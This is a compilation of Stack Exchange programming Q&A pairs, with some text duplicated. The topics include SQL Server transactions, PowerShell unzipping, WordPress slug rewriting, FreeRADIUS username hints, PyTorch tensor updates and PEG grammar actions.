问:
SQL Server Stored Procedure on Diferent Connection
I have a stored procedure that gets a unique reference from a table. You pass in a code e.g. 'I' for itemref or 'T' for tranref there are other codes, then the stored procedure will look up the table, increment the number and return said number (this is so other people can have the next number etc.).

However at the object level (vb.net) I wanted to get the reference on different connection that would never lock the table by accessing it in the middle of a transaction. This worked great until while testing I hit some code where a different stored procedure (while in a transaction posting an invoice) also called the get_ref stored procedure, this was fine until the object tried getting it again and then locked the system.

Is there a way for one stored procedure to call another just on a different connection/transaction level?

This is the get_ref stored procedure:

```<code>CREATE PROCEDURE get_ref
    (@Ref NUMERIC(28,0) OUTPUT,
     @RefType VARCHAR(8),
     @AddVal NUMERIC(28,0) = NULL)
AS
    SET NOCOUNT ON

    DECLARE @VALINC int

    IF @Addval IS NULL
        SET @VALINC = 1
    ELSE
        IF @Addval > 0
            SET @VALINC = @Addval
        ELSE
            SET @VALINC = 1

    IF UPPER(@RefType) = 'HM'
    BEGIN
        BEGIN TRANSACTION
            UPDATE HMREFS
            SET REF = REF + @valinc

            IF (@@ERROR <> 0)
                GOTO ERRLAB

            SELECT @ref = REF
            FROM HMREFS

            IF (@@ERROR <> 0)
                GOTO ERRLAB

            COMMIT TRANSACTION
    END
    ELSE
        IF UPPER(@RefType) = 'T'
        BEGIN
            BEGIN TRANSACTION
                UPDATE sysgen
                SET TRANREF = TRANREF + @valinc

                IF (@@ERROR <> 0)
                    GOTO ERRLAB

                SELECT @ref = TRANREF FROM sysgen

                IF (@@ERROR <> 0)
                    GOTO ERRLAB

                COMMIT TRANSACTION
    END
    ELSE
        IF UPPER(@RefType) = 'I'
        BEGIN
            BEGIN TRANSACTION
                UPDATE sysirgen
                SET ITEMREF = ITEMREF + @valinc

                IF (@@ERROR <> 0)
                    GOTO ERRLAB

                SELECT @ref = ITEMREF FROM sysirgen

                IF (@@ERROR <> 0)
                    GOTO ERRLAB

                COMMIT TRANSACTION
        END
    RETURN 0

ERRLAB:
    ROLLBACK TRANSACTION
    RAISERROR ('Error Getting Reference', 16, 1)
    RETURN 1
GO
</code>```

I have my program which has two connections to the database. Connection1 for getting references etc. this will never use a begin transaction as I do not want to block any other user from accessing the same tables. Connection2 for doing the work.

My program will get a reference for an invoice on Connection1, then on Connection2 begin a transaction and do the work of positing said invoice in SP1. However as it involves stock (it may not in some cases) SP1 has to call the SP get_ref so it can insert a stock movement line. This then locks the table that the stored procedure get_ref accessed until Connection2 is committed. However the invoice is posted and SP1 returns to the program. Before my program commits Connection2 it has to dispatch the the goods (if there are any) and it stays in the transaction. It then calls for a reference on Connection1 which is locked as the table it wants was accessed by SP1 on Connection2. Then the program crashes.

Currently and the way it used to work is all the work was on the same connection therefore no deadlocking issue except when we involve long running processes and other people doing the same. In which case we will get a deadlock issue with someone else logged in. Its not an issue we hit all that frequently however it is something we would like to tidy up. Hence trying to access the get_ref tables on a different transaction.

答:
It would be helpful to see some code calling this procedure but you have multiple transactions going on inside here. I would suggest reworking this to utilize TRY/CATCH. It makes the code a lot simpler to follow. It is also quite possible that you had a transaction get hung up  which is what causes your locking previously.

Something like this.

```<code>CREATE PROCEDURE get_ref
(
    @Ref numeric(28,0) OUTPUT
    , @RefType VARCHAR(8)
    , @AddVal numeric(28,0) = NULL
) AS

    SET NOCOUNT ON;

DECLARE @VALINC int

--rewritten as a case expression below
--IF @Addval IS NULL
--    SET @VALINC = 1
--ELSE
--    IF @Addval > 0
--        SET @VALINC = @Addval
--    ELSE
--        SET @VALINC = 1

select @VALINC = case when isnull(@AddVal, 0) = 0 OR @AddVal < 0 then 1 else @AddVal end

BEGIN TRY
    BEGIN TRANSACTION

    IF UPPER(@RefType) = 'HM'
        BEGIN
            UPDATE HMREFS SET REF = REF + @valinc
            SELECT @ref = REF FROM HMREFS
        END
    ELSE
        IF UPPER(@RefType) = 'T'
        BEGIN
            UPDATE sysgen SET TRANREF = TRANREF + @valinc
            SELECT @ref = TRANREF FROM sysgen
        END
    ELSE
        IF UPPER(@RefType) = 'I'
        BEGIN
            UPDATE sysirgen SET ITEMREF = ITEMREF + @valinc
            SELECT @ref = ITEMREF FROM sysirgen
        END
    COMMIT TRANSACTION
    --there is no point in returning 0, that is the default return value when a procedure completes without error
END TRY

BEGIN CATCH
    ROLLBACK TRANSACTION
    RAISERROR ('Error Getting Reference', 16, 1)
    RETURN 1
END CATCH
</code>```

Body:
I have a stored procedure that gets a unique reference from a table. You pass in a code e.g. 'I' for itemref or 'T' for tranref there are other codes, then the stored procedure will look up the table, increment the number and return said number (this is so other people can have the next number etc.).

However at the object level (vb.net) I wanted to get the reference on different connection that would never lock the table by accessing it in the middle of a transaction. This worked great until while testing I hit some code where a different stored procedure (while in a transaction posting an invoice) also called the get_ref stored procedure, this was fine until the object tried getting it again and then locked the system.

Is there a way for one stored procedure to call another just on a different connection/transaction level?

This is the get_ref stored procedure:

CREATE PROCEDURE get_ref
    (@Ref NUMERIC(28,0) OUTPUT,
     @RefType VARCHAR(8),
     @AddVal NUMERIC(28,0) = NULL)
AS
    SET NOCOUNT ON

    DECLARE @VALINC int

    IF @Addval IS NULL
        SET @VALINC = 1
    ELSE
        IF @Addval > 0
            SET @VALINC = @Addval
        ELSE
            SET @VALINC = 1

    IF UPPER(@RefType) = 'HM'
    BEGIN
        BEGIN TRANSACTION
            UPDATE HMREFS
            SET REF = REF + @valinc

            IF (@@ERROR <> 0)
                GOTO ERRLAB

            SELECT @ref = REF
            FROM HMREFS

            IF (@@ERROR <> 0)
                GOTO ERRLAB

            COMMIT TRANSACTION
    END
    ELSE
        IF UPPER(@RefType) = 'T'
        BEGIN
            BEGIN TRANSACTION
                UPDATE sysgen
                SET TRANREF = TRANREF + @valinc

                IF (@@ERROR <> 0)
                    GOTO ERRLAB

                SELECT @ref = TRANREF FROM sysgen

                IF (@@ERROR <> 0)
                    GOTO ERRLAB

                COMMIT TRANSACTION
    END
    ELSE
        IF UPPER(@RefType) = 'I'
        BEGIN
            BEGIN TRANSACTION
                UPDATE sysirgen
                SET ITEMREF = ITEMREF + @valinc

                IF (@@ERROR <> 0)
                    GOTO ERRLAB

                SELECT @ref = ITEMREF FROM sysirgen

                IF (@@ERROR <> 0)
                    GOTO ERRLAB

                COMMIT TRANSACTION
        END
    RETURN 0

ERRLAB:
    ROLLBACK TRANSACTION
    RAISERROR ('Error Getting Reference', 16, 1)
    RETURN 1
GO

I have my program which has two connections to the database. Connection1 for getting references etc. this will never use a begin transaction as I do not want to block any other user from accessing the same tables. Connection2 for doing the work.

My program will get a reference for an invoice on Connection1, then on Connection2 begin a transaction and do the work of positing said invoice in SP1. However as it involves stock (it may not in some cases) SP1 has to call the SP get_ref so it can insert a stock movement line. This then locks the table that the stored procedure get_ref accessed until Connection2 is committed. However the invoice is posted and SP1 returns to the program. Before my program commits Connection2 it has to dispatch the the goods (if there are any) and it stays in the transaction. It then calls for a reference on Connection1 which is locked as the table it wants was accessed by SP1 on Connection2. Then the program crashes.

Currently and the way it used to work is all the work was on the same connection therefore no deadlocking issue except when we involve long running processes and other people doing the same. In which case we will get a deadlock issue with someone else logged in. Its not an issue we hit all that frequently however it is something we would like to tidy up. Hence trying to access the get_ref tables on a different transaction.

Body:
It would be helpful to see some code calling this procedure but you have multiple transactions going on inside here. I would suggest reworking this to utilize TRY/CATCH. It makes the code a lot simpler to follow. It is also quite possible that you had a transaction get hung up  which is what causes your locking previously.

Something like this.

CREATE PROCEDURE get_ref
(
    @Ref numeric(28,0) OUTPUT
    , @RefType VARCHAR(8)
    , @AddVal numeric(28,0) = NULL
) AS

    SET NOCOUNT ON;

DECLARE @VALINC int

--rewritten as a case expression below
--IF @Addval IS NULL
--    SET @VALINC = 1
--ELSE
--    IF @Addval > 0
--        SET @VALINC = @Addval
--    ELSE
--        SET @VALINC = 1

select @VALINC = case when isnull(@AddVal, 0) = 0 OR @AddVal < 0 then 1 else @AddVal end

BEGIN TRY
    BEGIN TRANSACTION

    IF UPPER(@RefType) = 'HM'
        BEGIN
            UPDATE HMREFS SET REF = REF + @valinc
            SELECT @ref = REF FROM HMREFS
        END
    ELSE
        IF UPPER(@RefType) = 'T'
        BEGIN
            UPDATE sysgen SET TRANREF = TRANREF + @valinc
            SELECT @ref = TRANREF FROM sysgen
        END
    ELSE
        IF UPPER(@RefType) = 'I'
        BEGIN
            UPDATE sysirgen SET ITEMREF = ITEMREF + @valinc
            SELECT @ref = ITEMREF FROM sysirgen
        END
    COMMIT TRANSACTION
    --there is no point in returning 0, that is the default return value when a procedure completes without error
END TRY

BEGIN CATCH
    ROLLBACK TRANSACTION
    RAISERROR ('Error Getting Reference', 16, 1)
    RETURN 1
END CATCH


来源: stackexchange

问:
creating batch script to unzip a file without additional zip tools
I'm trying to make a .bat script for windows 7 x64 to create a folder, unzip a file into that folder without having to use additional addons like 7zip or unzip. Been searching and it seemed like windows doesn't have builtins to allow unzip easily in command. Can I unzip/expand files without additional addons? </p>

答:
Here is a quick and simple solution using PowerShell:

```<code>powershell.exe -nologo -noprofile -command "& { $shell = New-Object -COM Shell.Application; $target = $shell.NameSpace('C:\extractToThisDirectory'); $zip = $shell.NameSpace('C:\extractThis.zip'); $target.CopyHere($zip.Items(), 16); }"
</code>```

This uses the built-in extract functionality of the Explorer and will also show the typical extract progress window. The second parameter 16 to CopyHere answers all questions with yes.

ContentLicense: CC BY-SA 3.0

Body:
Here is a quick and simple solution using PowerShell:

powershell.exe -nologo -noprofile -command "& { $shell = New-Object -COM Shell.Application; $target = $shell.NameSpace('C:\extractToThisDirectory'); $zip = $shell.NameSpace('C:\extractThis.zip'); $target.CopyHere($zip.Items(), 16); }"

This uses the built-in extract functionality of the Explorer and will also show the typical extract progress window. The second parameter 16 to CopyHere answers all questions with yes.


问:
Two different color in background and Inside center box is container in html
In this picture  - sample outline

```<code><nav class="navbar navbar-inverse navbar-fixed-top">
  <div class="container">
  </div>
</nav>
</code>```

答:
You could achieve this using a mix of border-image and linear-gradient like this:

.content {
  height: 100px;
  width: 300px;

  border-width: 40px;
  border-style: solid;
  border-image: linear-gradient( blue 40%, red 30%) 1 round;
}```
<pre class="snippet-code-html lang-html prettyprint-override"><code><div class="content">Content</div></code>```

Body: In this picture  - sample outline

Body:
You could achieve this using a mix of border-image and linear-gradient like this:

.content {
  height: 100px;
  width: 300px;

  border-width: 40px;
  border-style: solid;
  border-image: linear-gradient( blue 40%, red 30%) 1 round;
}

<div class="content">Content</div>


问:
how to make log files to be generated at the same location as jar file
I am using jsch channelexec to call .sh file. The content of .sh file is,

```<code>#!/bin/bash

java -jar /xxx/yyy.war
</code>```

In my log file, I mentioned the path as

./logs/xxx.log

when I run the ap in intellij, I could see the log files to be in the same folder as the project.
When I run the app from terminal using java -jar /xxx/yyy/war the log files are in the same location as the jar file.

But when I try to call the .sh file using jsch inside java, the app started running but the log files does not appear anywhere. Not sure whether they are created or the location where they are created. How to make it appear in the same location as the .sh file while using jsch in java to execute the .sh file, springboot, gradle?

I am using ubuntu, log4j2, intellij, java, and jsch.

答:
Your log files are probably under the home directory for your user. Run a fresh jsck and type pwd - they might be there.

Really with log files however you should fully specify the path. Either via a fixed location, e.g. /opt/app/logs/xxx.log, or via a symlink from a fixed location, or via a system environment variable that you know is always going to be set, e.g. $LOGS_HOME/xxx.log

Relying on ./ is a really bad idea, since it completely depends on the execution context.

Body:
I am using jsch channelexec to call .sh file. The content of .sh file is,

#!/bin/bash

java -jar /xxx/yyy.war

In my log file, I mentioned the path as

./logs/xxx.log

when I run the ap in intellij, I could see the log files to be in the same folder as the project.
When I run the app from terminal using java -jar /xxx/yyy/war the log files are in the same location as the jar file.

But when I try to call the .sh file using jsch inside java, the app started running but the log files does not appear anywhere. Not sure whether they are created or the location where they are created. How to make it appear in the same location as the .sh file while using jsch in java to execute the .sh file, springboot, gradle?

I am using ubuntu, log4j2, intellij, java, and jsch.


问:
In JsonSchema, the format value should be set as "full-date" or "date"?
You may use jsonSchemaLint for testing purposes.

I have this JsonSchema, which sets format as "full-date". All Draft-6 validators (Json.Net) accepts the schema as valid.

```<code>{
  "title": "MyTestSchema",
  "type": "object",
  "properties": {
    "MyDateValue": {
      "type": "string",
      "format": "full-date",
      "description": "We expect yyyy-MM-dd"
    }
  }
}
</code>```

But it is unable to identify this Json object is wrong:

```<code>{
 "MyDateValue": "2017-10-1"
}
</code>```

When I switch the schema from "full-date" to "date" only, it works:

```<code> {
  "title": "MyTestSchema",
  "type": "object",
  "properties": {
    "MyDateValue": {
      "type": "string",
      "format": "date",
      "description": "We expect yyyy-MM-dd"
    }
  }
}
</code>```

Is the one on the top ("full-date") correct term as Json rules? Please refer some documentation.

答:
Referring to this issue on github here, turns out it was ok to create your own schema code, with the knowledge that the validators might not be able to capture it.

"It's technically always correct because format is extensible. However, user-defined formats will be ignored by validators that don't recognize them. And of course, if someone else is using a validator that they have configured to recognize the same name but treat it differently, then you will have an interoperability problem. However, with this particular value, full-date, it depends on your version of JSON Schema.

In draft-04 or draft-06, full-date is not an official format. Although anyone who adds it as a custom format and does not have it mean the same thing it means in RFC 3339 is asking for trouble, so you're probably fine using it this way even in those versions.

In the forthcoming (next week? hopefully?) draft-07, full-date is part of the reserved RFC 3339 format namespace, and if implemented, MUST be compatible with RFC 3339's definition of full-date. draft-07 also defines date as a synonym for full-date and recommends using it instead, as date is more common in the wild as far as I know.

Either way, this usage you're showing here is probably pretty safe since it matches RFC 3339, and as of draft-07 the standard does not enforce support but does enforce that, if implemented, it must behave as expected by RFC 3339."

Body:
You may use jsonSchemaLint for testing purposes.

I have this JsonSchema, which sets format as "full-date". All Draft-6 validators (Json.Net) accepts the schema as valid.

{
  "title": "MyTestSchema",
  "type": "object",
  "properties": {
    "MyDateValue": {
      "type": "string",
      "format": "full-date",
      "description": "We expect yyyy-MM-dd"
    }
  }
}

But it is unable to identify this Json object is wrong:

{
 "MyDateValue": "2017-10-1"
}

When I switch the schema from "full-date" to "date" only, it works:

 {
  "title": "MyTestSchema",
  "type": "object",
  "properties": {
    "MyDateValue": {
      "type": "string",
      "format": "date",
      "description": "We expect yyyy-MM-dd"
    }
  }
}

Is the one on the top ("full-date") correct term as Json rules? Please refer some documentation.


问:
Is there a way to manually control the pagename in WordPress?
I'm working on a bilingual website for a client, offering both English and French. I'm using the qTranslate plugin for the content, which is working great. However the client is requesting the the URLs need to be translated into French as well.

http://englishdomain.com/users

http://frenchdomain.com/utilisateurs

In the example URLs above, 'utilisateurs' needs to use the same page in the admin as 'users'. I already have support for englishdomain.com and frenchdomain.com working. I just need to find a way to tell WordPress to use the 'users' page when the pagename is 'utilisateurs'.

There are a lot of sections in this site, so I was thinking about setting up an array of all the English => French matches and then validating from there.

答:
Interesting objective.  The url is actually created based on the page slug, which is singular ... so there's no easy way pair /users/ with /utilisateurs/.  Or at least not a native way.

The best thing you can do is hook in to WordPress' url redirection methods and search a manually-configured array of English=>French page slugs.

Just off the top of my head, generate_rewrite_rules might be a good action hook to look at for starters.

Another possibility is to hook into the query_vars filter and manually replace any French page slugs with their English equivalents.  Then your French URL should query the WordPress database for the exact same page as the English URL.  You'll just need to be sure that the English slug exists in the database, or you'll run into problems.

Untested Example

The trick is to hook into WordPress' query system and dynamically replace parts of the query as you go.  So let's say you start with an array like this (I only have the one element because I don't speak French):

```<code>$translations = array(
    'utilisateurs' => 'users'
);
</code>```

Now we need a function that will take in a French string and return its English equivalent:

```<code>function translate_slug( $french ) {
    if( in_array( $french, array_keys( $translations ) ) {
        return $translations[$french];
    }
    return $french
}
</code>```

Next, we hook onto the query_vars filter and replace our page slug variables with the desired English equivalents:

```<code>function filter_french_slugs() {
    global $wp_query;
    $wp_query->query_vars['pagename'] = translate_slug( $wp_query->query_vars['pagename'] );
    $wp_query->query_vars['name'] = translate_slug( $wp_query->query_vars['name'] );
}
add_filter( 'pre_get_posts', 'filter_french_slugs' );
</code>```

This should convert things over for you, but as I said above it's untested as of yet ... just an idea of how you could potentially pull this off.

ContentLicense: CC BY-SA 4.0

Body:
Interesting objective.  The url is actually created based on the page slug, which is singular ... so there's no easy way pair /users/ with /utilisateurs/.  Or at least not a native way.

The best thing you can do is hook in to WordPress' url redirection methods and search a manually-configured array of English=>French page slugs.

Just off the top of my head, generate_rewrite_rules might be a good action hook to look at for starters.

Another possibility is to hook into the query_vars filter and manually replace any French page slugs with their English equivalents.  Then your French URL should query the WordPress database for the exact same page as the English URL.  You'll just need to be sure that the English slug exists in the database, or you'll run into problems.

Untested Example

The trick is to hook into WordPress' query system and dynamically replace parts of the query as you go.  So let's say you start with an array like this (I only have the one element because I don't speak French):

$translations = array(
    'utilisateurs' => 'users'
);

Now we need a function that will take in a French string and return its English equivalent:

function translate_slug( $french ) {
    if( in_array( $french, array_keys( $translations ) ) {
        return $translations[$french];
    }
    return $french
}

Next, we hook onto the query_vars filter and replace our page slug variables with the desired English equivalents:

function filter_french_slugs() {
    global $wp_query;
    $wp_query->query_vars['pagename'] = translate_slug( $wp_query->query_vars['pagename'] );
    $wp_query->query_vars['name'] = translate_slug( $wp_query->query_vars['name'] );
}
add_filter( 'pre_get_posts', 'filter_french_slugs' );

This should convert things over for you, but as I said above it's untested as of yet ... just an idea of how you could potentially pull this off.

ContentLicense: CC BY-SA 2.5


问:
Find string pairs
I was trying to practice a few string and algorithmic based questions and i stumbled across one which has the below wordings:

You have a string x of length N, which consists of small English letters. You have to find the number of sub-strings S in x such that 0 <= d < c < b < a <= N - 1 and x[a] == x[c] and x[b] == x[d].

For example:
x = "ababa"
The answer is s=2 since there are two strings which fulfill the above condition:
abab and
baba.

What is the best approach to solve this problem?

Thanks in advance.

答:
Hint: if f(a) returns the number of ab combinations to the right of and including a then:

```<code>f(next-a-to-the-left) =
  f(a) + count of b's to the right
         of next-a-to-the-left
</code>```

And for each b, there are

```<code>f(next-a-to-the-right) * count of a's to the left
</code>```

valid combinations.

Title: Find string pairs

Body:
Hint: if f(a) returns the number of ab combinations to the right of and including a then:

f(next-a-to-the-left) =
  f(a) + count of b's to the right
         of next-a-to-the-left

And for each b, there are

f(next-a-to-the-right) * count of a's to the left

valid combinations.


问:
I want to get count invoice_id where invoice_date = $today
I want to get count invoice_Id's those enter toady, I try a query but i got nothing

This is my sql query, i have tried many time but got nothing

```<code>select count(invoice_id)
from tbl_invoice
LEFT JOIN tbl_order
   using(order_id)
WHERE tbl_invoice.invoice_date = '2017-10-18'
</code>```

This is my controller which used this query in  php

```<code>$this->global_model->_table_name = 'tbl_invoice';
$this->global_model->_order_by = 'invoice_id';
$today_order = $this->global_model->get_by(array("invoice_date"=>'$todaydate'), false);
//var_dump($todaydate,$today_order);die();
$_SESSION["today_order"] = $today_order;
</code>```

And this is my view file

```<code><?php
    $today_order = $_SESSION["today_order"];
    $today_order_count = count($today_order);
?>

<!------today order total count------->

<li class="dropdown messages-menu">
    <a href="#" class="dropdown-toggle" data-toggle="dropdown">
        <i class="fa fa-credit-card"></i>
        <span class="label label-danger"><?php if(!empty($today_order_count)){
                echo $today_order_count;
            }else{
                echo '0';
            }
            ?></span>
    </a>
</li>
</code>```

答:
You need to take into account that the date is probably stored in MySqlas a datetime. And, that contains a time as well as a date.

Try changing your query to cover the entire day:

```<code>WHERE tbl_invoice.invoice_date >= '2017-10-18'
     AND tbl_invoice.invoice_date < '2017-10-19'
</code>```

Essentially, the dates would be stored as '2017-10-18 00:00:00', or with some other time-stamp.

Body:
I want to get count invoice_Id's those enter toady, I try a query but i got nothing

This is my sql query, i have tried many time but got nothing

select count(invoice_id)
from tbl_invoice
LEFT JOIN tbl_order
   using(order_id)
WHERE tbl_invoice.invoice_date = '2017-10-18'

This is my controller which used this query in  php

$this->global_model->_table_name = 'tbl_invoice';
$this->global_model->_order_by = 'invoice_id';
$today_order = $this->global_model->get_by(array("invoice_date"=>'$todaydate'), false);
//var_dump($todaydate,$today_order);die();
$_SESSION["today_order"] = $today_order;

And this is my view file

<?php
    $today_order = $_SESSION["today_order"];
    $today_order_count = count($today_order);
?>

        <?php if(!empty($today_order_count)){
                echo $today_order_count;
            }else{
                echo '0';
            }
            ?>

Body:
You need to take into account that the date is probably stored in MySqlas a datetime. And, that contains a time as well as a date.

Try changing your query to cover the entire day:

WHERE tbl_invoice.invoice_date >= '2017-10-18'
     AND tbl_invoice.invoice_date < '2017-10-19'

Essentially, the dates would be stored as '2017-10-18 00:00:00', or with some other time-stamp.


问:
How to add a string with superscript in an THREE.TextGeometry?
I'm working on a dimensioning tool with Three.js.
I would like to write dimensioning of distances over a line between two objects.
I want to write 2.455 as shown in the picture.

Sadly, as in Threejs R88 is HTML encoding not possible to get, for example, the superscript function in TextGeometry.  A solution would be to append a second text geometry (with the superscript number) to the main one. But I would like to avoid this solution since I think it's not a very wise/clean one.
Do you have any ideas how to solve this?

someting like this doesn't work obviously:

```<code>var ss = '5'.sup();

var geometry = new THREE.TextGeometry( '2.45' + ss, {
        font: font,
        size: 80,
        height: 5});
</code>```

Thank you in advance, I'm open to every suggestion.

答:
A solution could be the use of the following characters:

⁰ ¹ ² ³ ⁴ ⁵ ⁶ ⁷ ⁸ ⁹

Those are created via ALT characters.
link

They should work in Three.js.

Body:
I'm working on a dimensioning tool with Three.js.
I would like to write dimensioning of distances over a line between two objects.
I want to write 2.455 as shown in the picture.

Sadly, as in Threejs R88 is HTML encoding not possible to get, for example, the superscript function in TextGeometry.  A solution would be to append a second text geometry (with the superscript number) to the main one. But I would like to avoid this solution since I think it's not a very wise/clean one.
Do you have any ideas how to solve this?

someting like this doesn't work obviously:

var ss = '5'.sup();

var geometry = new THREE.TextGeometry( '2.45' + ss, {
        font: font,
        size: 80,
        height: 5});

Thank you in advance, I'm open to every suggestion.


问:
FreeRADIUS change user domain
I've been working on a project at work to configure FreeRADIUS with Google Authenticator for two-factor authentication purposes.

I've used this guide.

Everything's working well and I've even written scripts to generate and e-mail the QR codes to users but there's one last hurdle I'd like to overcome.

For example:

Say our AD domain is my.domain.com and I authenticate against FreeRADIUS with the username user@my.domain.com everything works fine.  The problem is that our RAS solution sometimes doesn't always send the full domain to FreeRADIUS.  In the logs I'd see the username as user@my (Pre-2000 domain name).  Naturally this fails.

What I'm trying to achieve is to get FreeRADIUS to catch this and replace @my with @my.domain.com .

The other option is to re-configure all the RAS clients and since these are almost all used remote this would be impractical.

I'm sure FreeRADIUS can do it, can someone help me?

答:
OK, got it.

Just in case anyone else needs to know here's what I did.

I added the following to /etc/raddb/hints (may vary by distro but I'm on CentOS 7)

```<code>DEFAULT Suffix == "@my", Strip-User-Name = No
     User-Name := "%{User-Name}.domain.com"

DEFAULT User-Name !~ ".*@"
     User-Name := "%{User-Name}@my.domain.com"
</code>```

The first entry looks to see if the suffix is JUST @my and adds .domain.com to the username if it is.

The second entry checks to see if an @ is present and if not adds @my.domain.com to the username.  This turned out to be an additional requirement not mentioned above.

Hope it's useful to someone.  Works like a charm now.

Title: FreeRADIUS change user domain

Body:
OK, got it.

Just in case anyone else needs to know here's what I did.

I added the following to /etc/raddb/hints (may vary by distro but I'm on CentOS 7)

DEFAULT Suffix == "@my", Strip-User-Name = No
     User-Name := "%{User-Name}.domain.com"

DEFAULT User-Name !~ ".*@"
     User-Name := "%{User-Name}@my.domain.com"

The first entry looks to see if the suffix is JUST @my and adds .domain.com to the username if it is.

The second entry checks to see if an @ is present and if not adds @my.domain.com to the username.  This turned out to be an additional requirement not mentioned above.

Hope it's useful to someone.  Works like a charm now.


问:
How to update a Tensor?
I've had some troubles updating a tensor using a previous one.
My problem: let's suppose that I have a tensor x1 [Nx1] and a new one calculated through the previous, x2 [Nx1]. Now I want to update the elements of x2 that are less than x1. I'm using dtype=torch.cuda.FloatTensor.

This is the straight code in Python:

```<code>import numpy as np
...
index     = np.where(x1 > x2)
x2[index] = x1[index]
</code>```

Why can I do this using PyTorch with dtype=torch.cuda.FloatTensor?
  And if the x1 change to [NxD]

Thank you!

答:
The code looks really similar to numpy:

```<code>idx = (x1 > x2)
x2[idx] = x1[idx]
</code>```

Using some predefined arrays and printing x2:

```<code>x1 = torch.from_numpy(np.array([1, 2, 3, 4, 5])).float().cuda()
x2 = torch.from_numpy(np.array([3, 3, 3, 3, 3])).float().cuda()
</code>```

3  3  3  4  5
  [torch.cuda.FloatTensor of size 5 (GPU 0)]

Code would be the same for NxN dimensional tensors. Using:

```<code>x1 = torch.from_numpy(np.array([[1, 2, 5], [1, 4, 5]])).float().cuda()
x2 = torch.from_numpy(np.array([[3, 3, 3], [3, 3, 3]])).float().cuda()
</code>```

3  3  5

  3  4  5
  [torch.cuda.FloatTensor of size 2x3 (GPU 0)]

Title: How to update a Tensor?

Body:
I've had some troubles updating a tensor using a previous one.
My problem: let's suppose that I have a tensor x1 [Nx1] and a new one calculated through the previous, x2 [Nx1]. Now I want to update the elements of x2 that are less than x1. I'm using dtype=torch.cuda.FloatTensor.

This is the straight code in Python:

import numpy as np
...
index     = np.where(x1 > x2)
x2[index] = x1[index]

Why can I do this using PyTorch with dtype=torch.cuda.FloatTensor?
  And if the x1 change to [NxD]

Thank you!

Body:
The code looks really similar to numpy:

idx = (x1 > x2)
x2[idx] = x1[idx]

Using some predefined arrays and printing x2:

x1 = torch.from_numpy(np.array([1, 2, 3, 4, 5])).float().cuda()
x2 = torch.from_numpy(np.array([3, 3, 3, 3, 3])).float().cuda()

3  3  3  4  5
  [torch.cuda.FloatTensor of size 5 (GPU 0)]

Code would be the same for NxN dimensional tensors. Using:

x1 = torch.from_numpy(np.array([[1, 2, 5], [1, 4, 5]])).float().cuda()
x2 = torch.from_numpy(np.array([[3, 3, 3], [3, 3, 3]])).float().cuda()

3  3  5

  3  4  5
  [torch.cuda.FloatTensor of size 2x3 (GPU 0)]


问:
PEG grammar to suppress execution in if command
I want to create a grammar parsing some commands. Most is working flawless but the "if(condition,then-value,else-value)" is not working together with "out" command to show some value.
It works fine in case the output-command is outside the if-command:

```<code>out(if(1,42,43))
</code>```

→ output and return 42 as expected OK

But at the moment the output-command is inside then- and else-part (which is required to be more intuitive) it fails:

```<code>if(1,out(42),out(43))
</code>```

→ still return only 42 as expected OK, but the output function is called twice with 42 and 43

I'm working under C with the peg/leg parser generator here
The problem is also reproducible with PEG.js online parser generator here when using the following very much simplified grammar:

```<code>Expression
  = Int
  / "if(" cond:Expression "," ok:Expression "," nok:Expression ")" { return cond?ok:nok; }
  / "out(" num:Expression ")" { window.alert(num); return num;}

Int = [0-9]+ { return parseInt(text(), 10); }
</code>```

The "window.alert()" is only a placeholder for the needed output function, but for this problem it acts the same.
It looks like the scanner have to match the full if-command with then-
 and else-value until the closing bracket ")". So it matches both out-commands and they both execute the defined function - which is not what I expect.

Is there a way in peg/leg to match some characters but suppress execution of the according function under some circumstances?

(I've already experimented with "&" predicate element without success)

(Maybe left-recursion vs. right-recursion could help here, but used peg/leg-generator seems to only supports right-recursion)

答:
Is there a way in peg/leg to match some characters but suppress execution of the according function under some circumstances?

I'm not familiar with the tools in question, but it would surprise me if this were possible. And even if it were, you'd run into a similar problem when implementing loops: now you'd need to execute the action multiple times.

What you need is for your actions to not directly execute the code, but return something that can be used to execute it.

The usual way that interpreters work is that the parser produces some sort of representation of the source code (such as bytecode or an AST), which is then executed as a separate step.

The simplest (but perhaps not cleanest) way to make your parser work without changing too much would be to just wrap all your actions in 0-argument functions. You could then call the functions returned by the sub-expressions if and only if you want them to be executed. And to implement loops, you could then simply call the functions multiple times.

Body:
I want to create a grammar parsing some commands. Most is working flawless but the "if(condition,then-value,else-value)" is not working together with "out" command to show some value.
It works fine in case the output-command is outside the if-command:

out(if(1,42,43))

→ output and return 42 as expected OK

But at the moment the output-command is inside then- and else-part (which is required to be more intuitive) it fails:

if(1,out(42),out(43))

→ still return only 42 as expected OK, but the output function is called twice with 42 and 43

I'm working under C with the peg/leg parser generator here
The problem is also reproducible with PEG.js online parser generator here when using the following very much simplified grammar:

Expression
  = Int
  / "if(" cond:Expression "," ok:Expression "," nok:Expression ")" { return cond?ok:nok; }
  / "out(" num:Expression ")" { window.alert(num); return num;}

Int = [0-9]+ { return parseInt(text(), 10); }

The "window.alert()" is only a placeholder for the needed output function, but for this problem it acts the same.
It looks like the scanner have to match the full if-command with then-
 and else-value until the closing bracket ")". So it matches both out-commands and they both execute the defined function - which is not what I expect.

Is there a way in peg/leg to match some characters but suppress execution of the according function under some circumstances?

(I've already experimented with "&" predicate element without success)

(Maybe left-recursion vs. right-recursion could help here, but used peg/leg-generator seems to only supports right-recursion)


问:
Advantage of using experiments in TensorFlow
Many of TensorFlow's example applications create Experiments and run one of the Experiment's methods by calling tf.contrib.data.learn_runner.run. It looks like an Experiment is essentially a wrapper for an Estimator.

The code needed to create and run an Experiment looks more complex than the code needed to create, train, and evaluate an Estimator. I'm sure there's an advantage to using Experiments, but I can't figure out what it is. Could someone fill me in?

答:
tf.contrib.learn.Experiment is a high-level API for distributed training. Here's from its doc:

Experiment is a class containing all information needed to train a
  model.

After an experiment is created (by passing an Estimator and inputs for
  training and evaluation), an Experiment instance knows how to invoke
  training and eval loops in a sensible fashion for distributed
  training.

Just like tf.estimator.Estimator (and the derived classes) is a high-level API that hides matrix multiplications, saving checkpoints and so on, tf.contrib.learn.Experiment tries to hide the boilerplate you'd need to do for distributed computation, namely tf.train.ClusterSpec, tf.train.Server, jobs, tasks, etc.

You can train and evaluate the tf.estimator.Estimator on a single machine without an Experiment. See the examples in this tutorial.


问:
Container migration in Docker
I am searching for a simple tutorial to test container migration between two VMs. I have seen some videos but they do not show exactly how they did that or didn't actually found any good tutorial by myself.
I am new to docker so I just wanted to test how this migration works. So, it will be very nice you can give me some tutorials/links that clearly explains how to do it.
Your help will be really appreciated, thanks :) </p>

答:
To export images, use docker save, to import them again, use docker load.

